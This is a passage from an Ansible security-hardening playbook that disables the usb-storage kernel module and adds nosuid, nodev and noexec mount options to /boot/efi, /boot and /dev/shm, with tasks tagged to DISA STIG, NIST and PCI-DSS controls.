    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - kernel_module_cramfs_disabled
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required

  - name: Ensure kernel module 'usb-storage' is disabled
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/modprobe.d/usb-storage.conf
      regexp: install\s+usb-storage
      line: install usb-storage /bin/false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040080
    - NIST-800-171-3.1.21
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - PCI-DSSv4-3.4
    - PCI-DSSv4-3.4.2
    - disable_strategy
    - kernel_module_usb-storage_disabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required

  - name: 'Add nosuid Option to /boot/efi: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/boot/efi'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/boot/efi&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-010572
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_boot_efi_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /boot/efi: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/boot/efi&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-010572
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_boot_efi_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /boot/efi: If /boot/efi not mounted, craft mount_info
      manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /boot/efi
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/boot/efi&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-010572
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_boot_efi_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /boot/efi: Make sure nosuid option is part of the
      to /boot/efi options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nosuid''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/boot/efi&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;nosuid&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-010572
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_boot_efi_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /boot/efi: Ensure /boot/efi is mounted with nosuid
      option'
    ansible.posix.mount:
      path: /boot/efi
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/boot/efi&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-010572
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_boot_efi_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /boot: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/boot'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when: ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    tags:
    - DISA-STIG-RHEL-08-010571
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_boot_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /boot: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-010571
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_boot_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /boot: If /boot not mounted, craft mount_info manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /boot
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-010571
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_boot_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /boot: Make sure nosuid option is part of the to /boot
      options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nosuid''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - mount_info is defined and &quot;nosuid&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-010571
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_boot_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /boot: Ensure /boot is mounted with nosuid option'
    ansible.posix.mount:
      path: /boot
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-010571
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_boot_nosuid
    - no_reboot_needed

  - name: 'Add nodev Option to /dev/shm: Check information associated to mountpoint'
    ansible.builtin.command: findmnt  '/dev/shm'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when: ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    tags:
    - DISA-STIG-RHEL-08-040120
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /dev/shm: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040120
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /dev/shm: If /dev/shm not mounted, craft mount_info
      manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /dev/shm
      - tmpfs
      - tmpfs
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - (&quot;&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040120
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /dev/shm: Make sure nodev option is part of the to
      /dev/shm options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nodev''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - mount_info is defined and &quot;nodev&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040120
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /dev/shm: Ensure /dev/shm is mounted with nodev option'
    ansible.posix.mount:
      path: /dev/shm
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040120
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_nodev
    - no_reboot_needed

  - name: 'Add noexec Option to /dev/shm: Check information associated to mountpoint'
    ansible.builtin.command: findmnt  '/dev/shm'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when: ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    tags:
    - DISA-STIG-RHEL-08-040122
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /dev/shm: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040122
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /dev/shm: If /dev/shm not mounted, craft mount_info
      manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /dev/shm
      - tmpfs
      - tmpfs
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - (&quot;&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040122
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /dev/shm: Make sure noexec option is part of the to
      /dev/shm options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''noexec''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - mount_info is defined and &quot;noexec&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040122
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /dev/shm: Ensure /dev/shm is mounted with noexec option'
    ansible.posix.mount:
      path: /dev/shm
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040122
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_noexec
    - no_reboot_needed

  - name: 'Add nosuid Option to /dev/shm: Check information associated to mountpoint'
    ansible.builtin.command: findmnt  '/dev/shm'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when: ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    tags:
    - DISA-STIG-RHEL-08-040121
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /dev/shm: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040121
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /dev/shm: If /dev/shm not mounted, craft mount_info
      manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /dev/shm
      - tmpfs
      - tmpfs
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - (&quot;&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040121
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /dev/shm: Make sure nosuid option is part of the to
      /dev/shm options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nosuid''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - mount_info is defined and &quot;nosuid&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040121
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_dev_shm_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /dev/shm: Ensure /dev/shm is mounted with nosuid option'
    ansible.posix.mount:
      path: /dev/shm
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;&quot;
      | length == 0)
    tags:
